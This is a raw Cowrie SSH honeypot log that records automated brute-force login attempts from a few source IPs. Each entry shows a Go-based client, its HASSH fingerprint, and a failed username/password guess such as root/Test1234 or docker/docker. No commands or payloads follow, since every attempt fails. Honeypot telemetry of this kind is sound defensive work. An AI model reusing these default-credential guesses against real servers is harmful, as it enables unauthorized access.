{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:53.111945Z","src_ip":"192.109.200.237","session":"36f31871b7ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:53.359072Z","src_ip":"192.109.200.237","session":"36f31871b7ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:54.457044Z","src_ip":"192.109.200.237","session":"36f31871b7ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40636,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6dd406f5a27","protocol":"ssh","message":"New connection: 192.109.200.237:40636 (159.203.135.109:22) [session: d6dd406f5a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:56.156359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:56.161014Z","src_ip":"192.109.200.237","session":"d6dd406f5a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:56.353277Z","src_ip":"192.109.200.237","session":"d6dd406f5a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:56.625090Z","src_ip":"192.109.200.237","session":"d6dd406f5a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:57.709747Z","src_ip":"192.109.200.237","session":"d6dd406f5a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40638,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5931ee72942","protocol":"ssh","message":"New connection: 192.109.200.237:40638 (159.203.135.109:22) [session: e5931ee72942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:59.398262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:59.403390Z","src_ip":"192.109.200.237","session":"e5931ee72942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:59.485388Z","src_ip":"192.109.200.237","session":"e5931ee72942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:59.733922Z","src_ip":"192.109.200.237","session":"e5931ee72942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:00.819306Z","src_ip":"192.109.200.237","session":"e5931ee72942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33616,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c447f86c4ec","protocol":"ssh","message":"New connection: 192.109.200.237:33616 (159.203.135.109:22) [session: 8c447f86c4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:02.631303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:02.638728Z","src_ip":"192.109.200.237","session":"8c447f86c4ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:02.722382Z","src_ip":"192.109.200.237","session":"8c447f86c4ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:02.970085Z","src_ip":"192.109.200.237","session":"8c447f86c4ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:04.056306Z","src_ip":"192.109.200.237","session":"8c447f86c4ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33630,"dst_ip":"159.203.135.109","dst_port":22,"session":"de2dd9eb8e10","protocol":"ssh","message":"New connection: 192.109.200.237:33630 (159.203.135.109:22) [session: de2dd9eb8e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:05.867963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:05.873168Z","src_ip":"192.109.200.237","session":"de2dd9eb8e10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:05.973726Z","src_ip":"192.109.200.237","session":"de2dd9eb8e10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:06.303432Z","src_ip":"192.109.200.237","session":"de2dd9eb8e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:07.388363Z","src_ip":"192.109.200.237","session":"de2dd9eb8e10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":56864,"dst_ip":"10.17.0.5","dst_port":22,"session":"00ac18b2a0d0","protocol":"ssh","message":"New connection: 103.98.149.87:56864 (10.17.0.5:22) [session: 00ac18b2a0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:09.004769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:09.146834Z","src_ip":"103.98.149.87","session":"00ac18b2a0d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33632,"dst_ip":"159.203.135.109","dst_port":22,"session":"06ae15a1c606","protocol":"ssh","message":"New connection: 192.109.200.237:33632 (159.203.135.109:22) [session: 06ae15a1c606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:09.151884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:09.156291Z","src_ip":"192.109.200.237","session":"06ae15a1c606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:09.238302Z","src_ip":"192.109.200.237","session":"06ae15a1c606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:09.429955Z","src_ip":"103.98.149.87","session":"00ac18b2a0d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:09.484179Z","src_ip":"192.109.200.237","session":"06ae15a1c606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:10.640606Z","src_ip":"192.109.200.237","session":"06ae15a1c606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"906090","message":"login attempt [root/906090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:10.817767Z","src_ip":"103.98.149.87","session":"00ac18b2a0d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:12.126801Z","src_ip":"103.98.149.87","session":"00ac18b2a0d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42580,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc9c7af10729","protocol":"ssh","message":"New connection: 192.109.200.237:42580 (159.203.135.109:22) [session: bc9c7af10729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:12.331409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:12.339553Z","src_ip":"192.109.200.237","session":"bc9c7af10729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:12.424826Z","src_ip":"192.109.200.237","session":"bc9c7af10729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:12.672423Z","src_ip":"192.109.200.237","session":"bc9c7af10729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36624,"dst_ip":"159.203.135.109","dst_port":22,"session":"46ffb63cee96","protocol":"ssh","message":"New connection: 103.195.236.96:36624 (159.203.135.109:22) [session: 46ffb63cee96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:12.692134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:12.697830Z","src_ip":"103.195.236.96","session":"46ffb63cee96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:12.942100Z","src_ip":"103.195.236.96","session":"46ffb63cee96","protocol":"ssh"}
